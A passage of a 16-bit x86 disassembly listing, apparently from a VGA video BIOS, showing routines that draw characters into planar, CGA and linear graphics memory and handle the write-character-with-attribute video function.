sub al, byte [bp-006h] ; 2a 46 fa db 0feh, 0c0h ; inc al ; fe c0 mov byte [bp-012h], al ; 88 46 ee movzx si, byte [bp-00eh] ; 0f b6 76 f2 mov di, si ; 89 f7 sal di, 003h ; c1 e7 03 mov ax, word [bp-016h] ; 8b 46 ea dec ax ; 48 mov word [bp-018h], ax ; 89 46 e8 mov ax, cx ; 89 c8 dec ax ; 48 mov word [bp-01ah], ax ; 89 46 e6 mov ax, word [bp-016h] ; 8b 46 ea imul ax, cx ; 0f af c1 cmp byte [di+0462fh], 000h ; 80 bd 2f 46 00 jne near 017d1h ; 0f 85 9f 01 mov dx, ax ; 89 c2 add dx, ax ; 01 c2 or dl, 0ffh ; 80 ca ff movzx bx, byte [bp+008h] ; 0f b6 5e 08 inc dx ; 42 imul bx, dx ; 0f af da cmp byte [bp-010h], 000h ; 80 7e f0 00 jne short 01681h ; 75 3a cmp byte [bp-008h], 000h ; 80 7e f8 00 jne short 01681h ; 75 34 cmp byte [bp-006h], 000h ; 80 7e fa 00 jne short 01681h ; 75 2e movzx dx, byte [bp+004h] ; 0f b6 56 04 cmp dx, word [bp-01ah] ; 3b 56 e6 jne short 01681h ; 75 25 movzx dx, byte [bp+006h] ; 0f b6 56 06 cmp dx, word [bp-018h] ; 3b 56 e8 jne short 01681h ; 75 1c movzx dx, byte [bp-00ch] ; 0f b6 56 f4 sal dx, 008h ; c1 e2 08 add dx, strict byte 00020h ; 83 c2 20 mov es, [di+04632h] ; 8e 85 32 46 mov cx, ax ; 89 c1 mov ax, dx ; 89 d0 mov di, bx ; 89 df cld ; fc jcxz 0167eh ; e3 02 rep stosw ; f3 ab jmp near 01a6fh ; e9 ee 03 cmp byte [bp+00ah], 001h ; 80 7e 0a 01 jne near 01726h ; 0f 85 9d 00 movzx ax, byte [bp-008h] ; 0f b6 46 f8 mov word [bp-014h], ax ; 89 46 ec movzx dx, byte [bp+004h] ; 0f b6 56 04 cmp dx, word [bp-014h] ; 3b 56 ec jc near 01a6fh ; 0f 82 d4 03 movzx ax, byte [bp-010h] ; 0f b6 46 f0 add ax, word [bp-014h] ; 03 46 ec cmp ax, dx ; 39 d0 jnbe short 016ach ; 77 06 cmp byte [bp-010h], 000h ; 80 7e f0 00 jne short 016dfh ; 75 33 movzx cx, byte [bp-012h] ; 0f b6 4e ee movzx ax, byte [bp-00ch] ; 0f b6 46 f4 sal ax, 008h ; c1 e0 08 add ax, strict word 00020h ; 05 20 00 mov si, word [bp-014h] ; 8b 76 ec imul si, word [bp-016h] ; 0f af 76 ea movzx dx, byte [bp-006h] ; 0f b6 56 fa add dx, si ; 01 f2 add dx, dx ; 01 d2 mov di, bx ; 89 df add di, dx ; 01 d7 movzx si, byte [bp-00eh] ; 0f b6 76 f2 sal si, 003h ; c1 e6 03 mov es, [si+04632h] ; 8e 84 32 46 cld ; fc jcxz 016ddh ; e3 02 rep stosw ; f3 ab jmp short 01720h ; eb 41 movzx dx, byte [bp-012h] ; 0f b6 56 ee mov word [bp-01ch], dx ; 89 56 e4 mov dx, ax ; 89 c2 imul dx, word [bp-016h] ; 0f af 56 ea movzx cx, byte [bp-006h] ; 0f b6 4e fa add dx, cx ; 01 ca add dx, dx ; 01 d2 movzx si, byte [bp-00eh] ; 0f b6 76 f2 sal si, 003h ; c1 e6 03 mov ax, word [si+04632h] ; 8b 84 32 46 mov si, word [bp-014h] ; 8b 76 ec imul si, word [bp-016h] ; 0f af 76 ea add cx, si ; 01 f1 add cx, cx ; 01 c9 mov di, bx ; 89 df add di, cx ; 01 cf mov cx, word [bp-01ch] ; 8b 4e e4 mov si, dx ; 89 d6 mov dx, ax ; 89 c2 mov es, ax ; 8e c0 cld ; fc jcxz 01720h ; e3 06 push DS ; 1e mov ds, dx ; 8e da rep movsw ; f3 a5 pop DS ; 1f inc word [bp-014h] ; ff 46 ec jmp near 01690h ; e9 6a ff movzx ax, byte [bp+004h] ; 0f b6 46 04 mov word [bp-014h], ax ; 89 46 ec movzx ax, byte [bp-008h] ; 0f b6 46 f8 cmp ax, word [bp-014h] ; 3b 46 ec jnbe near 01a6fh ; 0f 87 37 03 movzx dx, byte [bp-008h] ; 0f b6 56 f8 movzx ax, byte [bp-010h] ; 0f b6 46 f0 add ax, dx ; 01 d0 cmp ax, word [bp-014h] ; 3b 46 ec jnbe short 0174dh ; 77 06 cmp byte [bp-010h], 000h ; 80 7e f0 00 jne short 01780h ; 75 33 movzx cx, byte [bp-012h] ; 0f b6 4e ee movzx ax, byte [bp-00ch] ; 0f b6 46 f4 sal ax, 008h ; c1 e0 08 add ax, strict word 00020h ; 05 20 00 mov si, word [bp-014h] ; 8b 76 ec imul si, word [bp-016h] ; 0f af 76 ea movzx dx, byte [bp-006h] ; 0f b6 56 fa add dx, si ; 01 f2 add dx, dx ; 01 d2 mov di, bx ; 89 df add di, dx ; 01 d7 movzx si, byte [bp-00eh] ; 0f b6 76 f2 sal si, 003h ; c1 e6 03 mov es, [si+04632h] ; 8e 84 32 46 cld ; fc jcxz 0177eh ; e3 02 rep stosw ; f3 ab jmp short 017c0h ; eb 40 movzx cx, byte [bp-012h] ; 0f b6 4e ee movzx ax, byte [bp-010h] ; 0f b6 46 f0 mov dx, word [bp-014h] ; 8b 56 ec sub dx, ax ; 29 c2 imul dx, word [bp-016h] ; 0f af 56 ea movzx di, byte [bp-006h] ; 0f b6 7e fa add dx, di ; 01 fa add dx, dx ; 01 d2 movzx si, byte [bp-00eh] ; 0f b6 76 f2 sal si, 003h ; c1 e6 03 mov ax, word [si+04632h] ; 8b 84 32 46 mov si, word [bp-014h] ; 8b 76 ec imul si, word [bp-016h] ; 0f af 76 ea add di, si ; 01 f7 add di, di ; 01 ff add di, bx ; 01 df mov si, dx ; 89 d6 mov dx, ax ; 89 c2 mov es, ax ; 8e c0 cld ; fc jcxz 017c0h ; e3 06 push DS ; 1e mov ds, dx ; 8e da rep movsw ; f3 a5 pop DS ; 1f movzx ax, byte [bp+004h] ; 0f b6 46 04 cmp ax, word [bp-014h] ; 3b 46 ec jc near 01a6fh ; 0f 82 a4 02 dec word [bp-014h] ; ff 4e ec jmp near 0172dh ; e9 5c ff movzx bx, byte [si+046aeh] ; 0f b6 9c ae 46 sal bx, 006h ; c1 e3 06 mov dl, byte [bx+046c4h] ; 8a 97 c4 46 mov byte [bp-00ah], dl ; 88 56 f6 mov bl, byte [di+04630h] ; 8a 9d 30 46 cmp bl, 004h ; 80 fb 04 je short 017f8h ; 74 0f cmp bl, 003h ; 80 fb 03 je short 017f8h ; 74 0a cmp bl, 002h ; 80 fb 02 je near 01937h ; 0f 84 42 01 jmp near 01a6fh ; e9 77 02 cmp byte [bp-010h], 000h ; 80 7e f0 00 jne short 01850h ; 75 52 cmp byte [bp-008h], 000h ; 80 7e f8 00 jne short 01850h ; 75 4c cmp byte [bp-006h], 000h ; 80 7e fa 00 jne short 01850h ; 75 46 movzx dx, byte [bp+004h] ; 0f b6 56 04 mov ax, cx ; 89 c8 dec ax ; 48 cmp dx, ax ; 39 c2 jne short 01850h ; 75 3b movzx dx, byte [bp+006h] ; 0f b6 56 06 mov ax, word [bp-016h] ; 8b 46 ea dec ax ; 48 cmp dx, ax ; 39 c2 jne short 01850h ; 75 2f mov ax, 00205h ; b8 05 02 mov dx, 003ceh ; ba ce 03 out DX, ax ; ef imul cx, word [bp-016h] ; 0f af 4e ea movzx ax, byte [bp-00ah] ; 0f b6 46 f6 imul cx, ax ; 0f af c8 movzx ax, byte [bp-00ch] ; 0f b6 46 f4 movzx bx, byte [bp-00eh] ; 0f b6 5e f2 sal bx, 003h ; c1 e3 03 mov es, [bx+04632h] ; 8e 87 32 46 xor di, di ; 31 ff cld ; fc jcxz 01849h ; e3 02 rep stosb ; f3 aa mov ax, strict word 00005h ; b8 05 00 out DX, ax ; ef jmp near 01a6fh ; e9 1f 02 cmp byte [bp+00ah], 001h ; 80 7e 0a 01 jne short 018bfh ; 75 69 movzx ax, byte [bp-008h] ; 0f b6 46 f8 mov word [bp-014h], ax ; 89 46 ec movzx ax, byte [bp+004h] ; 0f b6 46 04 cmp ax, word [bp-014h] ; 3b 46 ec jc near 01a6fh ; 0f 82 07 02 movzx dx, byte [bp-010h] ; 0f b6 56 f0 add dx, word [bp-014h] ; 03 56 ec cmp dx, ax ; 39 c2 jnbe short 01879h ; 77 06 cmp byte [bp-010h], 000h ; 80 7e f0 00 jne short 01898h ; 75 1f movzx ax, byte [bp-00ch] ; 0f b6 46 f4 push ax ; 50 movzx ax, byte [bp-00ah] ; 0f b6 46 f6 push ax ; 50 movzx cx, byte [bp-016h] ; 0f b6 4e ea movzx bx, byte [bp-012h] ; 0f b6 5e ee movzx dx, byte [bp-014h] ; 0f b6 56 ec movzx ax, byte [bp-006h] ; 0f b6 46 fa call 013e3h ; e8 4d fb jmp short 018bah ; eb 22 movzx ax, byte [bp-00ah] ; 0f b6 46 f6 push ax ; 50 movzx ax, byte [bp-016h] ; 0f b6 46 ea push ax ; 50 movzx cx, byte [bp-012h] ; 0f b6 4e ee movzx bx, byte [bp-014h] ; 0f b6 5e ec mov al, byte [bp-014h] ; 8a 46 ec add al, byte [bp-010h] ; 02 46 f0 movzx dx, al ; 0f b6 d0 movzx ax, byte [bp-006h] ; 0f b6 46 fa call 0136dh ; e8 b3 fa inc word [bp-014h] ; ff 46 ec jmp short 0185dh ; eb 9e movzx ax, byte [bp+004h] ; 0f b6 46 04 mov word [bp-014h], ax ; 89 46 ec movzx ax, byte [bp-008h] ; 0f b6 46 f8 cmp ax, word [bp-014h] ; 3b 46 ec jnbe near 01a6fh ; 0f 87 9e 01 movzx ax, byte [bp-008h] ; 0f b6 46 f8 movzx dx, byte [bp-010h] ; 0f b6 56 f0 add ax, dx ; 01 d0 cmp ax, word [bp-014h] ; 3b 46 ec jnbe short 018e6h ; 77 06 cmp byte [bp-010h], 000h ; 80 7e f0 00 jne short 01905h ; 75 1f movzx ax, byte [bp-00ch] ; 0f b6 46 f4 push ax ; 50 movzx ax, byte [bp-00ah] ; 0f b6 46 f6 push ax ; 50 movzx cx, byte [bp-016h] ; 0f b6 4e ea movzx bx, byte [bp-012h] ; 0f b6 5e ee movzx dx, byte [bp-014h] ; 0f b6 56 ec movzx ax, byte [bp-006h] ; 0f b6 46 fa call 013e3h ; e8 e0 fa jmp short 01927h ; eb 22 movzx ax, byte [bp-00ah] ; 0f b6 46 f6 push ax ; 50 movzx ax, byte [bp-016h] ; 0f b6 46 ea push ax ; 50 movzx cx, byte [bp-012h] ; 0f b6 4e ee mov al, byte [bp-014h] ; 8a 46 ec sub al, byte [bp-010h] ; 2a 46 f0 movzx bx, al ; 0f b6 d8 movzx dx, byte [bp-014h] ; 0f b6 56 ec movzx ax, byte [bp-006h] ; 0f b6 46 fa call 0136dh ; e8 46 fa movzx ax, byte [bp+004h] ; 0f b6 46 04 cmp ax, word [bp-014h] ; 3b 46 ec jc near 01a6fh ; 0f 82 3d 01 dec word [bp-014h] ; ff 4e ec jmp short 018c6h ; eb 8f mov dl, byte [di+04631h] ; 8a 95 31 46 cmp byte [bp-010h], 000h ; 80 7e f0 00 jne short 0197eh ; 75 3d cmp byte [bp-008h], 000h ; 80 7e f8 00 jne short 0197eh ; 75 37 cmp byte [bp-006h], 000h ; 80 7e fa 00 jne short 0197eh ; 75 31 movzx bx, byte [bp+004h] ; 0f b6 5e 04 cmp bx, word [bp-01ah] ; 3b 5e e6 jne short 0197eh ; 75 28 movzx bx, byte [bp+006h] ; 0f b6 5e 06 cmp bx, word [bp-018h] ; 3b 5e e8 jne short 0197eh ; 75 1f movzx bx, byte [bp-00ah] ; 0f b6 5e f6 imul ax, bx ; 0f af c3 movzx cx, dl ; 0f b6 ca imul cx, ax ; 0f af c8 movzx ax, byte [bp-00ch] ; 0f b6 46 f4 mov es, [di+04632h] ; 8e 85 32 46 xor di, di ; 31 ff cld ; fc jcxz 0197bh ; e3 02 rep stosb ; f3 aa jmp near 01a6fh ; e9 f1 00 cmp dl, 002h ; 80 fa 02 jne short 0198ch ; 75 09 sal byte [bp-006h], 1 ; d0 66 fa sal byte [bp-012h], 1 ; d0 66 ee sal word [bp-016h], 1 ; d1 66 ea cmp byte [bp+00ah], 001h ; 80 7e 0a 01 jne short 019fbh ; 75 69 movzx ax, byte [bp-008h] ; 0f b6 46 f8 mov word [bp-014h], ax ; 89 46 ec movzx ax, byte [bp+004h] ; 0f b6 46 04 cmp ax, word [bp-014h] ; 3b 46 ec jc near 01a6fh ; 0f 82 cb 00 movzx dx, byte [bp-010h] ; 0f b6 56 f0 add dx, word [bp-014h] ; 03 56 ec cmp dx, ax ; 39 c2 jnbe short 019b5h ; 77 06 cmp byte [bp-010h], 000h ; 80 7e f0 00 jne short 019d4h ; 75 1f movzx ax, byte [bp-00ch] ; 0f b6 46 f4 push ax ; 50 movzx ax, byte [bp-00ah] ; 0f b6 46 f6 push ax ; 50 movzx cx, byte [bp-016h] ; 0f b6 4e ea movzx bx, byte [bp-012h] ; 0f b6 5e ee movzx dx, byte [bp-014h] ; 0f b6 56 ec movzx ax, byte [bp-006h] ; 0f b6 46 fa call 014e8h ; e8 16 fb jmp short 019f6h ; eb 22 movzx ax, byte [bp-00ah] ; 0f b6 46 f6 push ax ; 50 movzx ax, byte [bp-016h] ; 0f b6 46 ea push ax ; 50 movzx cx, byte [bp-012h] ; 0f b6 4e ee movzx bx, byte [bp-014h] ; 0f b6 5e ec mov al, byte [bp-014h] ; 8a 46 ec add al, byte [bp-010h] ; 02 46 f0 movzx dx, al ; 0f b6 d0 movzx ax, byte [bp-006h] ; 0f b6 46 fa call 01444h ; e8 4e fa inc word [bp-014h] ; ff 46 ec jmp short 01999h ; eb 9e movzx ax, byte [bp+004h] ; 0f b6 46 04 mov word [bp-014h], ax ; 89 46 ec movzx ax, byte [bp-008h] ; 0f b6 46 f8 cmp ax, word [bp-014h] ; 3b 46 ec jnbe short 01a6fh ; 77 64 movzx ax, byte [bp-008h] ; 0f b6 46 f8 movzx dx, byte [bp-010h] ; 0f b6 56 f0 add ax, dx ; 01 d0 cmp ax, word [bp-014h] ; 3b 46 ec jnbe short 01a20h ; 77 06 cmp byte [bp-010h], 000h ; 80 7e f0 00 jne short 01a3fh ; 75 1f movzx ax, byte [bp-00ch] ; 0f b6 46 f4 push ax ; 50 movzx ax, byte [bp-00ah] ; 0f b6 46 f6 push ax ; 50 movzx cx, byte [bp-016h] ; 0f b6 4e ea movzx bx, byte [bp-012h] ; 0f b6 5e ee movzx dx, byte [bp-014h] ; 0f b6 56 ec movzx ax, byte [bp-006h] ; 0f b6 46 fa call 014e8h ; e8 ab fa jmp short 01a61h ; eb 22 movzx ax, byte [bp-00ah] ; 0f b6 46 f6 push ax ; 50 movzx ax, byte [bp-016h] ; 0f b6 46 ea push ax ; 50 movzx cx, byte [bp-012h] ; 0f b6 4e ee mov al, byte [bp-014h] ; 8a 46 ec sub al, byte [bp-010h] ; 2a 46 f0 movzx bx, al ; 0f b6 d8 movzx dx, byte [bp-014h] ; 0f b6 56 ec movzx ax, byte [bp-006h] ; 0f b6 46 fa call 01444h ; e8 e3 f9 movzx ax, byte [bp+004h] ; 0f b6 46 04 cmp ax, word [bp-014h] ; 3b 46 ec jc short 01a6fh ; 72 05 dec word [bp-014h] ; ff 4e ec jmp short 01a02h ; eb 93 lea sp, [bp-004h] ; 8d 66 fc pop di ; 5f pop si ; 5e pop bp ; 5d retn 00008h ; c2 08 00 write_gfx_char_pl4_: ; 0xc1a78 LB 0xeb push bp ; 55 mov bp, sp ; 89 e5 push si ; 56 push di ; 57 sub sp, strict byte 0000ah ; 83 ec 0a mov byte [bp-006h], dl ; 88 56 fa mov ah, bl ; 88 dc cmp byte [bp+006h], 010h ; 80 7e 06 10 je short 01a96h ; 74 0b cmp byte [bp+006h], 00eh ; 80 7e 06 0e jne short 01a9bh ; 75 0a mov di, 05bech ; bf ec 5b jmp short 01a9eh ; eb 08 mov di, 069ech ; bf ec 69 jmp short 01a9eh ; eb 03 mov di, 053ech ; bf ec 53 movzx si, cl ; 0f b6 f1 movzx bx, byte [bp+006h] ; 0f b6 5e 06 imul si, bx ; 0f af f3 movzx cx, byte [bp+004h] ; 0f b6 4e 04 imul cx, si ; 0f af ce movzx si, ah ; 0f b6 f4 add si, cx ; 01 ce mov word [bp-00eh], si ; 89 76 f2 xor ah, ah ; 30 e4 imul ax, bx ; 0f af c3 mov word [bp-00ah], ax ; 89 46 f6 mov ax, 00f02h ; b8 02 0f mov dx, 003c4h ; ba c4 03 out DX, ax ; ef mov ax, 00205h ; b8 05 02 mov dx, 003ceh ; ba ce 03 out DX, ax ; ef test byte [bp-006h], 080h ; f6 46 fa 80 je short 01ad9h ; 74 06 mov ax, 01803h ; b8 03 18 out DX, ax ; ef jmp short 01addh ; eb 04 mov ax, strict word 00003h ; b8 03 00 out DX, ax ; ef xor ch, ch ; 30 ed cmp ch, byte [bp+006h] ; 3a 6e 06 jnc short 01b4bh ; 73 67 movzx si, ch ; 0f b6 f5 movzx ax, byte [bp+004h] ; 0f b6 46 04 imul si, ax ; 0f af f0 add si, word [bp-00eh] ; 03 76 f2 mov byte [bp-008h], 000h ; c6 46 f8 00 jmp short 01b0ah ; eb 13 xor bx, bx ; 31 db mov dx, si ; 89 f2 mov ax, 0a000h ; b8 00 a0 call 02f4ch ; e8 4b 14 inc byte [bp-008h] ; fe 46 f8 cmp byte [bp-008h], 008h ; 80 7e f8 08 jnc short 01b47h ; 73 3d movzx ax, byte [bp-008h] ; 0f b6 46 f8 mov cl, al ; 88 c1 mov ax, 00080h ; b8 80 00 sar ax, CL ; d3 f8 xor ah, ah ; 30 e4 mov word [bp-00ch], ax ; 89 46 f4 sal ax, 008h ; c1 e0 08 or AL, strict byte 008h ; 0c 08 mov dx, 003ceh ; ba ce 03 out DX, ax ; ef mov dx, si ; 89 f2 mov ax, 0a000h ; b8 00 a0 call 02f3eh ; e8 13 14 movzx ax, ch ; 0f b6 c5 add ax, word [bp-00ah] ; 03 46 f6 mov bx, di ; 89 fb add bx, ax ; 01 c3 movzx ax, byte [bx] ; 0f b6 07 test word [bp-00ch], ax ; 85 46 f4 je short 01af7h ; 74 ba mov al, byte [bp-006h] ; 8a 46 fa and AL, strict byte 00fh ; 24 0f movzx bx, al ; 0f b6 d8 jmp short 01af9h ; eb b2 db 0feh, 0c5h ; inc ch ; fe c5 jmp short 01adfh ; eb 94 mov ax, 0ff08h ; b8 08 ff mov dx, 003ceh ; ba ce 03 out DX, ax ; ef mov ax, strict word 00005h ; b8 05 00 out DX, ax ; ef mov ax, strict word 00003h ; b8 03 00 out DX, ax ; ef lea sp, [bp-004h] ; 8d 66 fc pop di ; 5f pop si ; 5e pop bp ; 5d retn 00004h ; c2 04 00 write_gfx_char_cga_: ; 0xc1b63 LB 0x11e push bp ; 55 mov bp, sp ; 89 e5 push si ; 56 push di ; 57 sub sp, strict byte 00008h ; 83 ec 08 mov byte [bp-008h], dl ; 88 56 f8 mov si, 053ech ; be ec 53 xor bh, bh ; 30 ff movzx di, byte [bp+006h] ; 0f b6 7e 06 imul di, bx ; 0f af fb movzx bx, cl ; 0f b6 d9 imul bx, bx, 00140h ; 69 db 40 01 add di, bx ; 01 df mov word [bp-00ch], di ; 89 7e f4 movzx di, al ; 0f b6 f8 sal di, 003h ; c1 e7 03 mov byte [bp-006h], 000h ; c6 46 fa 00 jmp near 01be3h ; e9 50 00 xor al, al ; 30 c0 xor ah, ah ; 30 e4 jmp short 01ba4h ; eb 0b or al, bl ; 08 d8 shr ch, 1 ; d0 ed db 0feh, 0c4h ; inc ah ; fe c4 cmp ah, 008h ; 80 fc 08 jnc short 01bcch ; 73 28 movzx bx, byte [bp-006h] ; 0f b6 5e fa add bx, di ; 01 fb add bx, si ; 01 f3 movzx bx, byte [bx] ; 0f b6 1f movzx dx, ch ; 0f b6 d5 test bx, dx ; 85 d3 je short 01b9bh ; 74 e5 mov CL, strict byte 007h ; b1 07 sub cl, ah ; 28 e1 mov bl, byte [bp-008h] ; 8a 5e f8 and bl, 001h ; 80 e3 01 sal bl, CL ; d2 e3 test byte [bp-008h], 080h ; f6 46 f8 80 je short 01b99h ; 74 d1 xor al, bl ; 30 d8 jmp short 01b9bh ; eb cf movzx bx, al ; 0f b6 d8 mov dx, word [bp-00ah] ; 8b 56 f6 mov ax, 0b800h ; b8 00 b8 call 02f4ch ; e8 74 13 inc byte [bp-006h] ; fe 46 fa cmp byte [bp-006h], 008h ; 80 7e fa 08 jnc near 01c78h ; 0f 83 95 00 movzx ax, byte [bp-006h] ; 0f b6 46 fa sar ax, 1 ; d1 f8 imul ax, ax, strict byte 00050h ; 6b c0 50 mov bx, word [bp-00ch] ; 8b 5e f4 add bx, ax ; 01 c3 mov word [bp-00ah], bx ; 89 5e f6 test byte [bp-006h], 001h ; f6 46 fa 01 je short 01bfeh ; 74 04 add byte [bp-009h], 020h ; 80 46 f7 20 mov CH, strict byte 080h ; b5 80 cmp byte [bp+006h], 001h ; 80 7e 06 01 jne short 01c17h ; 75 11 test byte [bp-008h], ch ; 84 6e f8 je short 01b93h ; 74 88 mov dx, word [bp-00ah] ; 8b 56 f6 mov ax, 0b800h ; b8 00 b8 call 02f3eh ; e8 2a 13 jmp near 01b95h ; e9 7e ff test ch, ch ; 84 ed jbe short 01bd8h ; 76 bd test byte [bp-008h], 080h ; f6 46 f8 80 je short 01c2ch ; 74 0b mov dx, word [bp-00ah] ; 8b 56 f6 mov ax, 0b800h ; b8 00 b8 call 02f3eh ; e8 14 13 jmp short 01c2eh ; eb 02 xor al, al ; 30 c0 xor ah, ah ; 30 e4 jmp short 01c3dh ; eb 0b or al, bl ; 08 d8 shr ch, 1 ; d0 ed db 0feh, 0c4h ; inc ah ; fe c4 cmp ah, 004h ; 80 fc 04 jnc short 01c67h ; 73 2a movzx bx, byte [bp-006h] ; 0f b6 5e fa add bx, di ; 01 fb add bx, si ; 01 f3 movzx dx, byte [bx] ; 0f b6 17 movzx bx, ch ; 0f b6 dd test bx, dx ; 85 d3 je short 01c34h ; 74 e5 mov CL, strict byte 003h ; b1 03 sub cl, ah ; 28 e1 mov bl, byte [bp-008h] ; 8a 5e f8 and bl, 003h ; 80 e3 03 add cl, cl ; 00 c9 sal bl, CL ; d2 e3 test byte [bp-008h], 080h ; f6 46 f8 80 je short 01c32h ; 74 cf xor al, bl ; 30 d8 jmp short 01c34h ; eb cd movzx bx, al ; 0f b6 d8 mov dx, word [bp-00ah] ; 8b 56 f6 mov ax, 0b800h ; b8 00 b8 call 02f4ch ; e8 d9 12 inc word [bp-00ah] ; ff 46 f6 jmp short 01c17h ; eb 9f lea sp, [bp-004h] ; 8d 66 fc pop di ; 5f pop si ; 5e pop bp ; 5d retn 00004h ; c2 04 00 write_gfx_char_lin_: ; 0xc1c81 LB 0x91 push bp ; 55 mov bp, sp ; 89 e5 push si ; 56 push di ; 57 sub sp, strict byte 00008h ; 83 ec 08 mov byte [bp-006h], dl ; 88 56 fa mov di, 053ech ; bf ec 53 movzx dx, cl ; 0f b6 d1 movzx cx, byte [bp+004h] ; 0f b6 4e 04 imul cx, dx ; 0f af ca sal cx, 006h ; c1 e1 06 movzx dx, bl ; 0f b6 d3 sal dx, 003h ; c1 e2 03 add dx, cx ; 01 ca mov word [bp-00ch], dx ; 89 56 f4 movzx si, al ; 0f b6 f0 sal si, 003h ; c1 e6 03 xor cl, cl ; 30 c9 jmp short 01cech ; eb 3b cmp ch, 008h ; 80 fd 08 jnc short 01ce5h ; 73 2f xor al, al ; 30 c0 movzx dx, cl ; 0f b6 d1 add dx, si ; 01 f2 mov bx, di ; 89 fb add bx, dx ; 01 d3 movzx dx, byte [bx] ; 0f b6 17 movzx bx, byte [bp-008h] ; 0f b6 5e f8 test dx, bx ; 85 da je short 01ccfh ; 74 03 mov al, byte [bp-006h] ; 8a 46 fa movzx bx, al ; 0f b6 d8 movzx dx, ch ; 0f b6 d5 add dx, word [bp-00ah] ; 03 56 f6 mov ax, 0a000h ; b8 00 a0 call 02f4ch ; e8 6e 12 shr byte [bp-008h], 1 ; d0 6e f8 db 0feh, 0c5h ; inc ch ; fe c5 jmp short 01cb1h ; eb cc db 0feh, 0c1h ; inc cl ; fe c1 cmp cl, 008h ; 80 f9 08 jnc short 01d09h ; 73 1d movzx bx, cl ; 0f b6 d9 movzx dx, byte [bp+004h] ; 0f b6 56 04 imul dx, bx ; 0f af d3 sal dx, 003h ; c1 e2 03 mov bx, word [bp-00ch] ; 8b 5e f4 add bx, dx ; 01 d3 mov word [bp-00ah], bx ; 89 5e f6 mov byte [bp-008h], 080h ; c6 46 f8 80 xor ch, ch ; 30 ed jmp short 01cb6h ; eb ad lea sp, [bp-004h] ; 8d 66 fc pop di ; 5f pop si ; 5e pop bp ; 5d retn 00002h ; c2 02 00 biosfn_write_char_attr_: ; 0xc1d12 LB 0x168 push bp ; 55 mov bp, sp ; 89 e5 push si ; 56 push di ; 57 sub sp, strict byte 00018h ; 83 ec 18 mov byte [bp-00eh], al ; 88 46 f2 mov byte [bp-010h], dl ; 88 56 f0 mov byte [bp-012h], bl ; 88 5e ee mov si, cx ; 89 ce mov dx, strict word 00049h ; ba 49 00 mov ax, strict word 00040h ; b8 40 00 call 02f3eh ; e8 10 12 xor ah, ah ; 30 e4 call 02f17h ; e8 e4 11 mov cl, al ; 88 c1 mov byte [bp-006h], al ; 88 46 fa cmp AL, strict byte 0ffh ; 3c ff je near 01e73h ; 0f 84 35 01 movzx ax, byte [bp-010h] ; 0f b6 46 f0 lea bx, [bp-01ch] ; 8d 5e e4 lea dx, [bp-01ah] ; 8d 56 e6 call 00a88h ; e8 3d ed mov al, byte [bp-01ch] ; 8a 46 e4 mov byte [bp-00ch], al ; 88 46 f4 mov ax, word [bp-01ch] ; 8b 46 e4 xor al, al ; 30 c0 shr ax, 008h ; c1 e8 08 mov byte [bp-00ah], al ; 88 46 f6 mov dx, 00084h ; ba 84 00 mov ax, strict word 00040h ; b8 40 00 call 02f3eh ; e8 d9 11 xor ah, ah ; 30 e4 inc ax ; 40 mov word [bp-018h], ax ; 89 46 e8 mov dx, strict word 0004ah ; ba 4a 00 mov ax, strict word 00040h ; b8 40 00 call 02f5ah ; e8 e6 11 mov word [bp-016h], ax ; 89 46 ea movzx bx, cl ; 0f b6 d9 mov di, bx ; 89 df sal di, 003h ; c1 e7 03 cmp byte [di+0462fh], 000h ; 80 bd 2f 46 00 jne short 01dcdh ; 75 47 mov bx, word [bp-018h] ; 8b 5e e8 imul bx, ax ; 0f af d8 add bx, bx ; 01 db or bl, 0ffh ; 80 cb ff movzx dx, byte [bp-010h] ; 0f b6 56 f0 inc bx ; 43 imul dx, bx ; 0f af d3 movzx bx, byte [bp-00ah] ; 0f b6 5e f6 imul ax, bx ; 0f af c3 movzx bx, byte [bp-00ch] ; 0f b6 5e f4 add ax, bx ; 01 d8 add ax, ax ; 01 c0 add dx, ax ; 01 c2 movzx ax, byte [bp-012h] ; 0f b6 46 ee sal ax, 008h ; c1 e0 08 movzx bx, byte [bp-00eh] ; 0f b6 5e f2 add ax, bx ; 01 d8 mov word [bp-01ah], ax ; 89 46 e6 mov ax, word [bp-01ah] ; 8b 46 e6 mov es, [di+04632h] ; 8e 85 32 46 mov cx, si ; 89 f1 mov di, dx ; 89 d7 cld ; fc jcxz 01dcah ; e3 02 rep stosw ; f3 ab jmp near 01e73h ; e9 a6 00 movzx bx, byte [bx+046aeh] ; 0f b6 9f ae 46 sal bx, 006h ; c1 e3 06 mov al, byte [bx+046c4h] ; 8a 87 c4 46 mov byte [bp-008h], al ; 88 46 f8 mov al, byte [di+04631h] ; 8a 85 31 46 mov byte [bp-014h], al ; 88 46 ec dec si ; 4e cmp si, strict byte 0ffffh ; 83 fe ff je near 01e73h ; 0f 84 88 00 movzx ax, byte [bp-00ch] ; 0f b6 46 f4 cmp ax, word [bp-016h] ; 3b 46 ea jnc near 01e73h ; 0f 83 7d 00 movzx bx, byte [bp-006h] ; 0f b6 5e fa sal bx, 003h ; c1 e3 03 mov al, byte [bx+04630h] ; 8a 87 30 46 cmp AL, strict byte 003h ; 3c 03 jc short 01e11h ; 72 0c jbe short 01e17h ; 76 10 cmp AL, strict byte 005h ; 3c 05 je short 01e55h ; 74 4a cmp AL, strict byte 004h ; 3c 04 je short 01e17h ; 74 08 jmp short 01e6dh ; eb 5c cmp AL, strict byte 002h ; 3c 02 je short 01e36h ; 74 21 jmp short 01e6dh ; eb 56 movzx ax, byte [bp-008h] ; 0f b6 46 f8 push ax ; 50 movzx ax, byte [bp-016h] ; 0f b6 46 ea push ax ; 50 movzx cx, byte [bp-00ah] ; 0f b6 4e f6 movzx bx, byte [bp-00ch] ; 0f b6 5e f4 movzx dx, byte [bp-012h] ; 0f b6 56 ee movzx ax, byte [bp-00eh] ; 0f b6 46 f2 call 01a78h ; e8 44 fc jmp short 01e6dh ; eb 37 movzx ax, byte [bp-014h] ; 0f b6 46 ec push ax ; 50 movzx ax, byte [bp-016h] ; 0f b6 46 ea push ax ; 50 movzx cx, byte [bp-00ah] ; 0f b6 4e f6 movzx bx, byte [bp-00ch] ; 0f b6 5e f4 movzx dx, byte [bp-012h] ; 0f b6 56 ee movzx ax, byte [bp-00eh] ; 0f b6 46 f2 call 01b63h ; e8 10 fd jmp short 01e6dh ; eb 18 movzx ax, byte [bp-016h] ; 0f b6 46 ea push ax ; 50 movzx cx, byte [bp-00ah] ; 0f b6 4e f6 movzx bx, byte [bp-00ch] ; 0f b6 5e f4 movzx dx, byte [bp-012h] ; 0f b6 56 ee movzx ax, byte [bp-00eh] ; 0f b6 46 f2 call 01c81h ; e8 14 fe inc byte [bp-00ch] ; fe 46 f4 jmp 